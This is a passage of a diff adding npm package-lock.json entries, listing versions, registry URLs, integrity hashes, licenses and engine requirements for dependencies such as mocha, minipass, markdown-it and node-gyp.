"minipass-fetch": "^2.0.3", + "minipass-flush": "^1.0.5", + "minipass-pipeline": "^1.2.4", + "negotiator": "^0.6.3", + "promise-retry": "^2.0.1", + "socks-proxy-agent": "^7.0.0", + "ssri": "^9.0.0" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || >=16.0.0" + } + }, + "node_modules/make-fetch-happen/node_modules/agent-base": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "4" + }, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/make-fetch-happen/node_modules/http-proxy-agent": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz", + "integrity": "sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@tootallnate/once": "2", + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/make-fetch-happen/node_modules/https-proxy-agent": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", + "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "dev": true, + "license": "MIT", + "dependencies": { + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/make-fetch-happen/node_modules/lru-cache": { + "version": "7.18.3", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-7.18.3.tgz", + "integrity": "sha512-jumlc0BIUrS3qJGgIkWZsyfAM7NCWiBcCDhnd+3NNM5KbBmLTgHVfWBcg6W+rLUsIpzpERPsvwUP7CckAQSOoA==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/make-fetch-happen/node_modules/minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, + "license": "ISC", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/markdown-it": { + "version": "14.1.0", + "resolved": "https://registry.npmjs.org/markdown-it/-/markdown-it-14.1.0.tgz", + "integrity": "sha512-a54IwgWPaeBCAAsv13YgmALOF1elABB08FxO9i+r4VFk5Vl4pKokRPeX8u5TCgSsPi6ec1otfLjdOpVcgbpshg==", + "dev": true, + "license": "MIT", + "dependencies": { + "argparse": "^2.0.1", + "entities": "^4.4.0", + "linkify-it": "^5.0.0", + "mdurl": "^2.0.0", + "punycode.js": "^2.3.1", + "uc.micro": "^2.1.0" + }, + "bin": { + "markdown-it": "bin/markdown-it.mjs" + } + }, + "node_modules/markdown-it/node_modules/entities": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/entities/-/entities-4.5.0.tgz", + "integrity": "sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/math-intrinsics": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", + "integrity": "sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==", + "dev": true, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/mdn-data": { + "version": "2.12.2", + "resolved": "https://registry.npmjs.org/mdn-data/-/mdn-data-2.12.2.tgz", + "integrity": "sha512-IEn+pegP1aManZuckezWCO+XZQDplx1366JoVhTpMpBB1sPey/SbveZQUosKiKiGYjg1wH4pMlNgXbCiYgihQA==", + "dev": true, + "license": "CC0-1.0" + }, + "node_modules/mdurl": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/mdurl/-/mdurl-2.0.0.tgz", + "integrity": "sha512-Lf+9+2r+Tdp5wXDXC4PcIBjTDtq4UKjCPMQhKIuzpJNW0b96kVqSwW0bT7FhRSfmAiFYgP+SCRvdrDozfh0U5w==", + "dev": true, + "license": "MIT" + }, + "node_modules/memoizee": { + "version": "0.4.17", + "resolved": "https://registry.npmjs.org/memoizee/-/memoizee-0.4.17.tgz", + "integrity": "sha512-DGqD7Hjpi/1or4F/aYAspXKNm5Yili0QDAFAY4QYvpqpgiY6+1jOfqpmByzjxbWd/T9mChbCArXAbDAsTm5oXA==", + "dev": true, + "license": "ISC", + "dependencies": { + "d": "^1.0.2", + "es5-ext": "^0.10.64", + "es6-weak-map": "^2.0.3", + "event-emitter": "^0.3.5", + "is-promise": "^2.2.2", + "lru-queue": "^0.1.0", + "next-tick": "^1.1.0", + "timers-ext": "^0.1.7" + }, + "engines": { + "node": ">=0.12" + } + }, + "node_modules/meow": { + "version": "14.0.0", + "resolved": "https://registry.npmjs.org/meow/-/meow-14.0.0.tgz", + "integrity": "sha512-JhC3R1f6dbspVtmF3vKjAWz1EVIvwFrGGPLSdU6rK79xBwHWTuHoLnRX/t1/zHS1Ch1Y2UtIrih7DAHuH9JFJA==", + "dev": true, + "engines": { + "node": ">=20" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/merge2": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.4.1.tgz", + "integrity": "sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg==", + "engines": { + "node": ">= 8" + } + }, + "node_modules/microbuffer": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/microbuffer/-/microbuffer-1.0.0.tgz", + "integrity": "sha512-O/SUXauVN4x6RaEJFqSPcXNtLFL+QzJHKZlyDVYFwcDDRVca3Fa/37QXXC+4zAGGa4YhHrHxKXuuHvLDIQECtA==", + "dev": true, + "license": "MIT" + }, + "node_modules/micromatch": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.8.tgz", + "integrity": "sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==", + "license": "MIT", + "dependencies": { + "braces": "^3.0.3", + "picomatch": "^2.3.1" + }, + "engines": { + "node": ">=8.6" + } + }, + "node_modules/mime": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/mime/-/mime-1.6.0.tgz", + "integrity": "sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg==", + "dev": true, + "bin": { + "mime": "cli.js" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/mime-db": { + "version": "1.52.0", + "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.52.0.tgz", + "integrity": "sha512-sPU4uV7dYlvtWJxwwxHD0PuihVNiE7TyAbQ5SWxDCB9mUYvOgroQOwYQQOKPJ8CIbE+1ETVlOoK1UC2nU3gYvg==", + "dev": true, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mime-types": { + "version": "2.1.35", + "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.35.tgz", + "integrity": "sha512-ZDY+bPm5zTTF+YpCrAU9nK0UgICYPT0QtT1NZWFv4s++TNkcgVaT0g6+4R2uI4MjQjzysHB1zxuWL50hzaeXiw==", + "dev": true, + "dependencies": { + "mime-db": "1.52.0" + }, + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/mimic-function": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/mimic-function/-/mimic-function-5.0.1.tgz", + "integrity": "sha512-VP79XUPxV2CigYP3jWwAUFSku2aKqBH7uTAapFWCBqutsbmDo96KY5o8uh6U+/YSIn5OxJnXp73beVkpqMIGhA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/mimic-response": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/mimic-response/-/mimic-response-3.1.0.tgz", + "integrity": "sha512-z0yWI+4FDrrweS8Zmt4Ej5HdJmky15+L2e6Wgn3+iK5fWzb6T3fhNFq2+MeTRb064c6Wr4N/wv0DzQTjNzHNGQ==", + "dev": true, + "optional": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/minimatch": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz", + "integrity": "sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==", + "dev": true, + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/minimist": { + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.6.tgz", + "integrity": "sha512-Jsjnk4bw3YJqYzbdyBiNsPWHPfO++UGG749Cxs6peCu5Xg4nrena6OVxOYxrQTqww0Jmwt+Ref8rggumkTLz9Q==", + "dev": true + }, + "node_modules/minipass": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-7.1.2.tgz", + "integrity": "sha512-qOOzS1cBTWYF4BH8fVePDBOO9iptMnGUEZwNc/cMWnTV2nVLZ7VoNWEPHkYczZA0pdoA7dl6e7FL659nX9S2aw==", + "engines": { + "node": ">=16 || 14 >=14.17" + } + }, + "node_modules/minipass-collect": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/minipass-collect/-/minipass-collect-1.0.2.tgz", + "integrity": "sha512-6T6lH0H8OG9kITm/Jm6tdooIbogG9e0tLgpY6mphXSm/A9u8Nq1ryBG+Qspiub9LjWlBPsPS3tWQ/Botq4FdxA==", + "dev": true, + "license": "ISC", + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/minipass-collect/node_modules/minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, + "license": "ISC", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/minipass-fetch": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/minipass-fetch/-/minipass-fetch-2.1.2.tgz", + "integrity": "sha512-LT49Zi2/WMROHYoqGgdlQIZh8mLPZmOrN2NdJjMXxYe4nkN6FUyuPuOAOedNJDrx0IRGg9+4guZewtp8hE6TxA==", + "dev": true, + "license": "MIT", + "dependencies": { + "minipass": "^3.1.6", + "minipass-sized": "^1.0.3", + "minizlib": "^2.1.2" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || >=16.0.0" + }, + "optionalDependencies": { + "encoding": "^0.1.13" + } + }, + "node_modules/minipass-fetch/node_modules/minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, + "license": "ISC", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/minipass-flush": { + "version": "1.0.5", + "resolved": "https://registry.npmjs.org/minipass-flush/-/minipass-flush-1.0.5.tgz", + "integrity": "sha512-JmQSYYpPUqX5Jyn1mXaRwOda1uQ8HP5KAT/oDSLCzt1BYRhQU0/hDtsB1ufZfEEzMZ9aAVmsBw8+FWsIXlClWw==", + "dev": true, + "license": "ISC", + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/minipass-flush/node_modules/minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, + "license": "ISC", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/minipass-pipeline": { + "version": "1.2.4", + "resolved": "https://registry.npmjs.org/minipass-pipeline/-/minipass-pipeline-1.2.4.tgz", + "integrity": "sha512-xuIq7cIOt09RPRJ19gdi4b+RiNvDFYe5JH+ggNvBqGqpQXcru3PcRmOZuHBKWK1Txf9+cQ+HMVN4d6z46LZP7A==", + "dev": true, + "license": "ISC", + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/minipass-pipeline/node_modules/minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, + "license": "ISC", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/minipass-sized": { + "version": "1.0.3", + "resolved": "https://registry.npmjs.org/minipass-sized/-/minipass-sized-1.0.3.tgz", + "integrity": "sha512-MbkQQ2CTiBMlA2Dm/5cY+9SWFEN8pzzOXi6rlM5Xxq0Yqbda5ZQy9sU75a673FE9ZK0Zsbr6Y5iP6u9nktfg2g==", + "dev": true, + "license": "ISC", + "dependencies": { + "minipass": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/minipass-sized/node_modules/minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, + "license": "ISC", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/minizlib": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/minizlib/-/minizlib-2.1.2.tgz", + "integrity": "sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==", + "dev": true, + "license": "MIT", + "dependencies": { + "minipass": "^3.0.0", + "yallist": "^4.0.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/minizlib/node_modules/minipass": { + "version": "3.3.6", + "resolved": "https://registry.npmjs.org/minipass/-/minipass-3.3.6.tgz", + "integrity": "sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==", + "dev": true, + "license": "ISC", + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/mkdirp": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", + "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", + "dev": true, + "license": "MIT", + "bin": { + "mkdirp": "bin/cmd.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/mkdirp-classic": { + "version": "0.5.3", + "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz", + "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==", + "dev": true, + "optional": true + }, + "node_modules/mocha": { + "version": "11.7.5", + "resolved": "https://registry.npmjs.org/mocha/-/mocha-11.7.5.tgz", + "integrity": "sha512-mTT6RgopEYABzXWFx+GcJ+ZQ32kp4fMf0xvpZIIfSq9Z8lC/++MtcCnQ9t5FP2veYEP95FIYSvW+U9fV4xrlig==", + "dev": true, + "dependencies": { + "browser-stdout": "^1.3.1", + "chokidar": "^4.0.1", + "debug": "^4.3.5", + "diff": "^7.0.0", + "escape-string-regexp": "^4.0.0", + "find-up": "^5.0.0", + "glob": "^10.4.5", + "he": "^1.2.0", + "is-path-inside": "^3.0.3", + "js-yaml": "^4.1.0", + "log-symbols": "^4.1.0", + "minimatch": "^9.0.5", + "ms": "^2.1.3", + "picocolors": "^1.1.1", + "serialize-javascript": "^6.0.2", + "strip-json-comments": "^3.1.1", + "supports-color": "^8.1.1", + "workerpool": "^9.2.0", + "yargs": "^17.7.2", + "yargs-parser": "^21.1.1", + "yargs-unparser": "^2.0.0" + }, + "bin": { + "_mocha": "bin/_mocha", + "mocha": "bin/mocha.js" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + } + }, + "node_modules/mocha/node_modules/brace-expansion": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz", + "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/mocha/node_modules/chokidar": { + "version": "4.0.3", + "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-4.0.3.tgz", + "integrity": "sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA==", + "dev": true, + "license": "MIT", + "dependencies": { + "readdirp": "^4.0.1" + }, + "engines": { + "node": ">= 14.16.0" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/mocha/node_modules/diff": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/diff/-/diff-7.0.0.tgz", + "integrity": "sha512-PJWHUb1RFevKCwaFA9RlG5tCd+FO5iRh9A8HEtkmBH2Li03iJriB6m6JIN4rGz3K3JLawI7/veA1xzRKP6ISBw==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=0.3.1" + } + }, + "node_modules/mocha/node_modules/glob": { + "version": "10.4.5", + "resolved": "https://registry.npmjs.org/glob/-/glob-10.4.5.tgz", + "integrity": "sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==", + "dev": true, + "license": "ISC", + "dependencies": { + "foreground-child": "^3.1.0", + "jackspeak": "^3.1.2", + "minimatch": "^9.0.4", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": "^1.11.1" + }, + "bin": { + "glob": "dist/esm/bin.mjs" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/mocha/node_modules/minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/mocha/node_modules/readdirp": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-4.1.2.tgz", + "integrity": "sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 14.18.0" + }, + "funding": { + "type": "individual", + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/mocha/node_modules/supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dev": true, + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/supports-color?sponsor=1" + } + }, + "node_modules/mock-fs": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/mock-fs/-/mock-fs-5.5.0.tgz", + "integrity": "sha512-d/P1M/RacgM3dB0sJ8rjeRNXxtapkPCUnMGmIN0ixJ16F/E4GUZCvWcSGfWGz8eaXYvn1s9baUwNjI4LOPEjiA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "dev": true, + "license": "MIT" + }, + "node_modules/mute-stream": { + "version": "0.0.8", + "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.8.tgz", + "integrity": "sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA==", + "dev": true + }, + "node_modules/nan": { + "version": "2.23.0", + "resolved": "https://registry.npmjs.org/nan/-/nan-2.23.0.tgz", + "integrity": "sha512-1UxuyYGdoQHcGg87Lkqm3FzefucTa0NAiOcuRsDmysep3c1LVCRK2krrUDafMWtjSG04htvAmvg96+SDknOmgQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/nano-spawn": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/nano-spawn/-/nano-spawn-2.0.0.tgz", + "integrity": "sha512-tacvGzUY5o2D8CBh2rrwxyNojUsZNU2zjNTzKQrkgGJQTbGAfArVWXSKMBokBeeg6C7OLRGUEyoFlYbfeWQIqw==", + "dev": true, + "engines": { + "node": ">=20.17" + }, + "funding": { + "url": "https://github.com/sindresorhus/nano-spawn?sponsor=1" + } + }, + "node_modules/napi-build-utils": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/napi-build-utils/-/napi-build-utils-1.0.2.tgz", + "integrity": "sha512-ONmRUqK7zj7DWX0D9ADe03wbwOBZxNAfF20PlGfCWQcD3+/MakShIHrMqx9YwPTfxDdF1zLeL+RGZiR9kGMLdg==", + "dev": true, + "optional": true + }, + "node_modules/natural-compare": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", + "integrity": "sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc=", + "dev": true + }, + "node_modules/neatequal": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/neatequal/-/neatequal-1.0.0.tgz", + "integrity": "sha512-sVt5awO4a4w24QmAthdrCPiVRW3naB8FGLdyadin01BH+6BzNPEBwGrpwCczQvPlULS6uXTItTe1PJ5P0kYm7A==", + "dev": true, + "license": "MIT", + "dependencies": { + "varstream": "^0.3.2" + } + }, + "node_modules/negotiator": { + "version": "0.6.4", + "resolved": "https://registry.npmjs.org/negotiator/-/negotiator-0.6.4.tgz", + "integrity": "sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.6" + } + }, + "node_modules/neo-async": { + "version": "2.6.2", + "resolved": "https://registry.npmjs.org/neo-async/-/neo-async-2.6.2.tgz", + "integrity": "sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw==", + "dev": true, + "license": "MIT" + }, + "node_modules/next-tick": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/next-tick/-/next-tick-1.1.0.tgz", + "integrity": "sha512-CXdUiJembsNjuToQvxayPZF9Vqht7hewsvy2sOWafLvi2awflj9mOC6bHIg50orX8IJvWKY9wYQ/zB2kogPslQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/no-case": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/no-case/-/no-case-3.0.4.tgz", + "integrity": "sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg==", + "dev": true, + "license": "MIT", + "dependencies": { + "lower-case": "^2.0.2", + "tslib": "^2.0.3" + } + }, + "node_modules/node-abi": { + "version": "3.45.0", + "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-3.45.0.tgz", + "integrity": "sha512-iwXuFrMAcFVi/ZoZiqq8BzAdsLw9kxDfTC0HMyjXfSL/6CSDAGD5UmR7azrAgWV1zKYq7dUUMj4owusBWKLsiQ==", + "dev": true, + "optional": true, + "dependencies": { + "semver": "^7.3.5" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/node-addon-api": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-4.3.0.tgz", + "integrity": "sha512-73sE9+3UaLYYFmDsFZnqCInzPyh3MqIwZO9cw58yIqAZhONrrabrYyYe3TuIqtIiOuTXVhsGau8hcrhhwSsDIQ==", + "dev": true, + "optional": true + }, + "node_modules/node-gyp": { + "version": "9.4.1", + "resolved": "https://registry.npmjs.org/node-gyp/-/node-gyp-9.4.1.tgz", + "integrity": "sha512-OQkWKbjQKbGkMf/xqI1jjy3oCTgMKJac58G2+bjZb3fza6gW2YrCSdMQYaoTb70crvE//Gngr4f0AgVHmqHvBQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "env-paths": "^2.2.0", + "exponential-backoff": "^3.1.1", + "glob": "^7.1.4", + "graceful-fs": "^4.2.6", + "make-fetch-happen": "^10.0.3", + "nopt": "^6.0.0", + "npmlog": "^6.0.0", + "rimraf": "^3.0.2", + "semver": "^7.3.5", + "tar": "^6.1.2", + "which": "^2.0.2" + }, + "bin": { + "node-gyp": "bin/node-gyp.js" + }, + "engines": { + "node": "^12.13 || ^14.13 || >=16" + } + }, + "node_modules/node-gyp/node_modules/glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "deprecated": "Glob versions prior to v9 are no longer supported", + "dev": true, + "license": "ISC", + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/node-sarif-builder": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/node-sarif-builder/-/node-sarif-builder-3.2.0.tgz", + "integrity": "sha512-kVIOdynrF2CRodHZeP/97Rh1syTUHBNiw17hUCIVhlhEsWlfJm19MuO56s4MdKbr22xWx6mzMnNAgXzVlIYM9Q==", + "dev": true, + "dependencies": { + "@types/sarif": "^2.1.7", + "fs-extra": "^11.1.1" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/nopt": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/nopt/-/nopt-6.0.0.tgz", + "integrity": "sha512-ZwLpbTgdhuZUnZzjd7nb1ZV+4DoiC6/sfiVKok72ym/4Tlf+DFdlHYmT2JPmcNNWV6Pi3SDf1kT+A4r9RTuT9g==", + "dev": true, + "license": "ISC", + "dependencies": { + "abbrev": "^1.0.0" + }, + "bin": { + "nopt": "bin/nopt.js" + }, + "engines": { + "node": "^12.13.0 || ^14.15.0 || >=16.0.0" + } + }, + "node_modules/normalize-package-data": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/normalize-package-data/-/normalize-package-data-6.0.2.tgz", + "integrity": 